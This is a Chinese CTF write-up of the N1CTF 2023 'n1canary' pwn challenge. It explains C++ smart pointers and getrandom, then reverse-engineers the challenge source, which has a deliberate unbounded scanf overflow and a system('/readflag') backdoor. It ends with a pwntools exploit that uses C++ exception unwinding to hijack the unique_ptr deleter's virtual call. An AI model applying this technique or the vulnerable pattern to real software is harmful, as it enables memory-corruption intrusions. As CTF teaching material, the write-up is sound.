文章目录
- 参考
- n1canary
- 模板类和模板函数
- make_unique和unique_ptr
- std::unique_ptr
- 示例:
- std::make_unique
- 示例:
- 结合使用示例
- operator->
- getrandom
- 逆向
- 源码
- 思路
- exp
参考
https://nese.team/posts/n1ctf2023/
n1canary
模板类和模板函数
template <size_t SIZE> struct ProtectedBuffer { char buf[SIZE];
};ProtectedBuffer<64> buf
ida中
template <typename Fn> void mut(Fn const &fn) {fn(buf);check();}buf.mut([](char *p) { scanf("%[^\n]", p); });
ida中
Fn是函数类型,如函数参数,函数返回值可用lambda表达式代替,然后mut的参数就是在前一步基础上带有具体的函数方法体了,也是Fn函数类型的,IDA似乎直接把mut的参数优化成了函数方法体的参数了,函数方法体已经生成在具体的函数里了
make_unique和unique_ptr
std::unique_ptr
std::unique_ptr
是一个智能指针,它拥有其所指向的对象的独占所有权。这意味着一旦std::unique_ptr
超出作用域,它会自动调用析构函数并释放其管理的对象,防止内存泄漏。std::unique_ptr
不允许复制,但可以移动,这意味着资源的所有权可以在不同的std::unique_ptr
之间转移。
示例:
#include <iostream>
#include <memory>// 定义一个简单的类
class MyClass {
public:MyClass(int value) : value_(value) {std::cout << "MyClass constructed with value: " << value_ << std::endl;}~MyClass() {std::cout << "MyClass destructed." << std::endl;}int getValue() const {return value_;}
private:int value_;
};int main() {// 使用 std::unique_ptr 来管理 MyClass 的对象std::unique_ptr<MyClass> uptr = std::make_unique<MyClass>(42);// 使用智能指针访问对象std::cout << "Value from MyClass: " << uptr->getValue() << std::endl;// std::unique_ptr 在超出作用域时会自动释放其管理的对象return 0;
}
std::make_unique
std::make_unique
是C++14中引入的一个工厂函数,用于方便地创建std::unique_ptr
对象。它可以自动推导出对象的类型,并调用合适的构造函数来初始化对象,避免了手动使用new
操作符的繁琐和潜在错误。
示例:
#include <iostream>
#include <memory>// 使用 std::make_unique 直接创建并初始化 std::unique_ptr
int main() {auto uptr = std::make_unique<int>(42); // 创建一个指向整数的 std::unique_ptr// 使用智能指针访问对象std::cout << "Value from unique_ptr: " << *uptr << std::endl;// std::unique_ptr 在超出作用域时会自动释放其管理的对象return 0;
}
结合使用示例
结合std::make_unique
和std::unique_ptr
,我们可以非常简洁和安全地管理动态内存:
#include <iostream>
#include <memory>class MyClass {
public:MyClass(int value) : value_(value) {}~MyClass() { std::cout << "MyClass destructed." << std::endl; }int getValue() const { return value_; }
private:int value_;
};int main() {// 使用 std::make_unique 创建 std::unique_ptr 并初始化 MyClass 对象auto uptr = std::make_unique<MyClass>(42);// 访问 MyClass 对象的值std::cout << "Value from MyClass: " << uptr->getValue() << std::endl;// std::unique_ptr 在 main 函数结束时自动释放其管理的 MyClass 对象return 0;
}
在上面的示例中,std::make_unique
用于创建std::unique_ptr
,并在MyClass
的构造函数中传递一个整数值。std::unique_ptr
负责在main
函数结束时释放MyClass
对象。
operator->
在C++中,operator->是一个成员访问操作符,它被用来重载指针的解引用箭头操作符。当你使用->来访问一个对象的成员时,这个操作实际上是在调用operator->函数。
对于std::unique_ptr而言,operator->成员函数返回一个指向其管理的对象的指针。这使得你可以像使用普通智能指针一样通过->操作符来访问对象的成员。
getrandom
getrandom()
函数是在 Linux 内核版本 3.17 中引入的,旨在提供一种更安全的方式来获取随机数,尤其是当应用程序需要高质量的随机数据时,比如在加密应用中。这个函数比旧的 /dev/urandom
和 /dev/random
设备文件更高效,因为它减少了上下文切换和系统调用的开销。
getrandom()
函数的原型如下:
#include <linux/random.h>
#include <unistd.h>ssize_t getrandom(void *buf, size_t buflen, unsigned int flags);
buf
: 是一个指向缓冲区的指针,getrandom()
将把随机数据写入这个缓冲区。buflen
: 是缓冲区的大小,即期望填充的字节数。flags
: 可以包含一些标志位,例如:GRND_RANDOM
: 强制从阻塞的熵池中读取数据,这类似于从/dev/random
获取数据。如果熵池中的数据不足,此函数会阻塞直到有足够的熵为止。GRND_NONBLOCK
: 如果熵池中的数据不足,此函数不会阻塞,而是立即返回。如果返回值是负数,你可以通过检查errno
来确定是否是因为熵池中的数据不足。- 默认情况下,
getrandom()
行为类似于从/dev/urandom
获取数据,即它总是返回非阻塞的随机数据,即使熵池中的数据不足。
getrandom()
返回的是写入缓冲区的字节数,如果发生错误则返回一个负值,此时可以通过 errno
变量来确定具体的错误原因。
逆向
会通过随机数生成方式填充sys_canary,然后通过输入方式用户输入一个8个字节的到user_canary
根据虚表追踪到最终调用的虚函数
三个变量,没有虚函数,实现四个函数
模板参数是一个lambda表达式,该lambda表达式是在BOFApp::launch函数中定义的,并且接受一个char *类型的参数
调用了lambda表达式的operator(),即执行了lambda函数体。a2和a1作为参数传递给这个lambda函数
往ProtectedBuffer的前64个字节的起始位置输入,但没有长度限制,溢出
会检查溢出,如果不一样就会抛出异常
然后回溯到man函数,被main函数的catch给处理
然后catch后会执行
有后门
源码
#include "sys/random.h"
#include "utils.h"
#include <cstdio>
#include <cstring>
#include <memory>
constexpr size_t CANARY_RANDBITS = 3;
constexpr size_t CANARY_SHIFTBITS = 4;
constexpr size_t CANARY_POOL_SIZE = 1 << CANARY_RANDBITS;
u64 user_canary[CANARY_POOL_SIZE];
u64 sys_canary[CANARY_POOL_SIZE];
template <size_t SIZE> struct ProtectedBuffer {char buf[SIZE];char padding = 0;u64 canary;ProtectedBuffer() {bzero(buf, sizeof(buf)); //bzero函数将buf数组清零canary = getCanary();}u64 getCanary() {u64 addr = (u64)this;u64 canary_idx = (addr >> CANARY_SHIFTBITS) & (CANARY_POOL_SIZE - 1);//canary_idx 0~15u64 raw_canary = user_canary[canary_idx] ^ sys_canary[canary_idx];return raw_canary;}void check() {if (canary != getCanary()) {raise("*** stack smash detected ***");}}//typename关键字用于声明模板参数Fn是一个类型template <typename Fn> void mut(Fn const &fn) {fn(buf);check();}// mut是一个模板成员函数,它接受一个函数对象Fn,// 通常是一个lambda或函数指针。这个函数对象应该接受一个char *类型的参数,即缓冲区的地址。// mut函数执行传入的函数对象,并在完成后调用check()来验证缓冲区的完整性。
};static void init_canary() {if (sizeof(sys_canary) != getrandom(sys_canary, sizeof(sys_canary), 0)) {raise("canary init error");}puts("To increase entropy, give me your canary");readall(user_canary);
}struct UnsafeApp {UnsafeApp() { puts("creating dangerous app..."); }virtual ~UnsafeApp() {}virtual void launch() = 0;
};struct BOFApp : UnsafeApp {void launch() override {ProtectedBuffer<64> buf;puts("input something to pwn :)");buf.mut([](char *p) { scanf("%[^\n]", p); });//读取一系列字符,直到遇到一个不属于集合[^]的字符为止//从标准输入读取一整行文本(不包括换行符),并将其存储在p指向的缓冲区puts(buf.buf);}
};static void backdoor() { system("/readflag"); }int main() {setbuf(stdin, nullptr);setbuf(stdout, nullptr);init_canary();try {auto app = std::make_unique<BOFApp>();app->launch();} catch (...) { //catch (...) 是一个捕获所有类型的异常的通用捕获块puts("error!!!");exit(1);}
}#pragma once
#include <cstdlib>
#include <stdexcept>
#include <unistd.h>
using u64 = unsigned long long;
static inline void raise(const char *msg) {puts(msg);throw std::runtime_error(msg);
}
static inline void readall(void *ptr, size_t size) {char *p = (char *)ptr;size_t tot = 0;while (tot < size) {auto res = read(STDIN_FILENO, p + tot, size - tot);if (res <= 0)raise("IO error");tot += res;}
}
template <typename T> static inline void readall(T &dest) {readall(&dest, sizeof(dest));
}
思路
溢出能够控制栈上内容,由于溢出控制的是main中调用launch的栈帧内容,如果溢出到原来main函数的栈帧,那么当异常回溯到main时没准可以利用到溢出的内容进而造成漏洞利用
原来溢出,但没有溢出到返回地址时,throw后跳转到的catch就是main函数部分的
原来的返回地址是0x0000000000403407 ,溢出保持返回地址不变,随意覆盖rbp并不产生段错误
查看是否有利用到溢出后的main函数的栈帧的函数
mov rax, rsp mov rdi, rax
正好会把当前溢出的0x4f4aa0所在的栈地址移动到rax和rdi
std::__uniq_ptr_impl<BOFApp,std::default_delete<BOFApp>>::_M_ptr
套娃半天就是返回第一个参数,第一个参数就是0x4f4aa0所在的栈地址,然后std::unique_ptr<BOFApp>::get_deleter
和std::move<BOFApp *&>
也是一样,只能看std::default_delete<BOFApp>::operator()(BOFApp*)
rbx之前就被赋值为了0x4f4aa0所在栈地址
这里将0x4f4aa0作为第二个参数0x4f4aa0所在栈地址作为第一个参数,然后检查第二个参数不为空就会call 第二个参数指向的值+8作为地址指向的内容作为函数指针,所以0x4f4aa0所在地址的值为0x4f4aa0然后+8作为地址0x4f4aa0+8的位置的内容为函数指针,最后就会跳转到这个函数这里去,所以0x4f4aa0+8的值为后门的地址即可
真的太妙了真的太妙了感觉我是废物
exp
from pwn import *
a = process("./a.out")gdb.attach(a)
pause()
payload = p64(0x4f4aa0) + p64(0x403387)
payload = payload.ljust(64,b"a")
a.sendlineafter(b"To increase entropy, give me your canary\n",payload)payload = b"a"*0x68+p64(0x403407)+p64(0x4f4aa0)
a.sendlineafter(b"input something to pwn :)\n",payload)
a.interactive()